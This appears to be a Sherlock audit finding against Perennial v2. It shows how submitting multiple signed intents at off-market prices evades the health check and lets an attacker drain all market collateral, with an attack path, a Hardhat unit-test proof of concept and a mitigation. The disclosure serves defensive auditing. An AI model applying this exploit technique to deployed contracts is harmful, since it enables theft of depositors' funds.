Skip to content

Latest commit

 

History

History
167 lines (131 loc) · 7.99 KB

028.md

File metadata and controls

167 lines (131 loc) · 7.99 KB

Clumsy Pink Otter

High

Anyone can steal all funds from the market due to incorrect health accounting for pending pnl from difference of intent price and market price when multiple intents are used.

Summary

When user opens position from signed intent, pending orders are created for 2 accounts (intent taker and maker) with user-specified price. Upon settlement, there is some pnl realized to both accounts due to difference of intent price and market price. The intent price is specified by the user and can be any number within the limits set by the protocols off the latest commited price. The issue is that this pnl is accounted for in account health only for one (current) intent. If there are multiple intents pending for the same account, then all the other intents are ignored and thus attacker can send multiple intents, each of which keeps account healthy, but all of them combined put account into highly negative collateral, which is ignored by health check. This allows attacker to withdraw inflated profit from the other account, stealing all funds from the market.

Root Cause

When account health is checked, collateral is adjusted for only current intent (newGuarantee) in InvariantLib.validate: https://github.com/sherlock-audit/2024-08-perennial-v2-update-3-panprog/blob/ac46a2fc8baf6c827ee20c69eecae66561a5c65f/perennial-v2/packages/perennial/contracts/types/Guarantee.sol#L71

All the other intents (at this, or previous pending orders) are ignored.

Internal Pre-conditions

None.

External Pre-conditions

None.

Attack Path

Since intents can be easily created by any user, there are no pre-conditions for the attack. The scenario is as following:

  • Attacker deposits some collateral into account1 and account2 (for example, 40)
  • Attacker signs intent with some position (like long 1) and a price which is much higher than latest oracle price, but inside the protocol's max price deviation limit (say, of 120 when current price is 100) from account1
  • Attacker uses account2 to calls market.update with the signed intent from account1. This is accepted, as account1 collateral when checking update invariant is 40 + 1 * (100 - 120) = 40 - 20 = 20
  • The same intent is signed again from account1 and account2 submits it again. This is accepted again, as account1 collateral when checking update invariant is again 40 + 1 * (100 - 120) = 40 - 20 = 20 (it only accounts the 2nd intent, ignoring the 1st intent). However, if this is settled (both intents), the collateral will be 40 + 2 * (100 - 120) = 40 - 40 = 0.
  • The same intent is signed again from account1 and account2 submits it again. This is accepted again, as account1 collateral when checking update invariant is again 40 + 1 * (100 - 120) = 40 - 20 = 20 (it only accounts the 3rd intent, ignoring the 1st and the 2nd intents). However, if this is settled (all 3 intents), the collateral will be 40 + 3 * (100 - 120) = 40 - 60 = -20.
  • This is repeated as many times as necessary (everything in the same epoch, so that all intents are not settled)
  • After the settlement, sum of all intents causes account1 to be in highly negative collateral, while account2 will be in the same profit.
  • Attacker withdraws all funds which market has.

Impact

All market collateral token balance is stolen.

PoC

Add to test/unit/Market.test.ts in the invariant violations context:

      it('multiple intents ignore pnl from the other intents price adjustments', async () => {
        const marketParameter = { ...(await market.parameter()) }
        marketParameter.maxPriceDeviation = parse6decimal('10.00')
        await market.updateParameter(marketParameter)

        const intent = {
          amount: parse6decimal('0.3'),
          price: parse6decimal('1250'),
          fee: parse6decimal('0.5'),
          originator: liquidator.address,
          solver: owner.address,
          collateralization: parse6decimal('0.01'),
          common: {
            account: user.address,
            signer: user.address,
            domain: market.address,
            nonce: 0,
            group: 0,
            expiry: 0,
          },
        }

        const intent2 = {
          amount: parse6decimal('0.3'),
          price: parse6decimal('1250'),
          fee: parse6decimal('0.5'),
          originator: liquidator.address,
          solver: owner.address,
          collateralization: parse6decimal('0.01'),
          common: {
            account: user.address,
            signer: user.address,
            domain: market.address,
            nonce: 1,
            group: 0,
            expiry: 0,
          },
        }

        const LOWER_COLLATERAL = parse6decimal('500')

        dsu.transferFrom.whenCalledWith(user.address, market.address, LOWER_COLLATERAL.mul(1e12)).returns(true)
        dsu.transferFrom.whenCalledWith(userB.address, market.address, LOWER_COLLATERAL.mul(1e12)).returns(true)
        dsu.transferFrom.whenCalledWith(userC.address, market.address, LOWER_COLLATERAL.mul(1e12)).returns(true)

        await market
          .connect(userB)
          ['update(address,uint256,uint256,uint256,int256,bool)'](
            userB.address,
            POSITION,
            0,
            0,
            LOWER_COLLATERAL,
            false,
          )

        await market
          .connect(user)
          ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, 0, 0, LOWER_COLLATERAL, false)
        await market
          .connect(userC)
          ['update(address,uint256,uint256,uint256,int256,bool)'](userC.address, 0, 0, 0, LOWER_COLLATERAL, false)

        oracle.at.whenCalledWith(ORACLE_VERSION_2.timestamp).returns([ORACLE_VERSION_2, INITIALIZED_ORACLE_RECEIPT])
        oracle.at.whenCalledWith(ORACLE_VERSION_3.timestamp).returns([ORACLE_VERSION_3, INITIALIZED_ORACLE_RECEIPT])
        oracle.at.whenCalledWith(ORACLE_VERSION_4.timestamp).returns([ORACLE_VERSION_4, INITIALIZED_ORACLE_RECEIPT])
        oracle.status.returns([ORACLE_VERSION_2, ORACLE_VERSION_3.timestamp])
  
        verifier.verifyIntent.returns()

        // solver
        factory.authorization
          .whenCalledWith(userC.address, userC.address, userC.address, constants.AddressZero)
          .returns([true, true, BigNumber.from(0)])
        // taker
        factory.authorization
          .whenCalledWith(user.address, userC.address, user.address, liquidator.address)
          .returns([false, true, parse6decimal('0.20')])

        await market
          .connect(userC)
          [
            'update(address,(int256,int256,uint256,address,address,uint256,(address,address,address,uint256,uint256,uint256)),bytes)'
          ](userC.address, intent, DEFAULT_SIGNATURE);

        await market
          .connect(userC)
          [
            'update(address,(int256,int256,uint256,address,address,uint256,(address,address,address,uint256,uint256,uint256)),bytes)'
          ](userC.address, intent2, DEFAULT_SIGNATURE);

        oracle.status.returns([ORACLE_VERSION_3, ORACLE_VERSION_4.timestamp])
      
        await settle(market, user)
        await settle(market, userB)
        await settle(market, userC)
      
        var loc = await market.locals(user.address);
        console.log("user collateral: " + loc.collateral);
        var pos = await market.positions(user.address);
        console.log("user pos: long = " + pos.long);
    
        var loc = await market.locals(userC.address);
        console.log("userC collateral: " + loc.collateral);
        var pos = await market.positions(userC.address);
        console.log("userC pos: short = " + pos.short);
      })

Console output:

user collateral: -176200000
user pos: long = 600000
userC collateral: 1176200000
userC pos: short = 600000

Notice that final userC's collateral is higher than sum of collateral of both users at the start, meaning that attacker has stolen these funds from the market.

Mitigation

Calculate sum of price adjustments for all pending guarantees (from latest + 1 to current), and add it to collateral when validating margined requirement.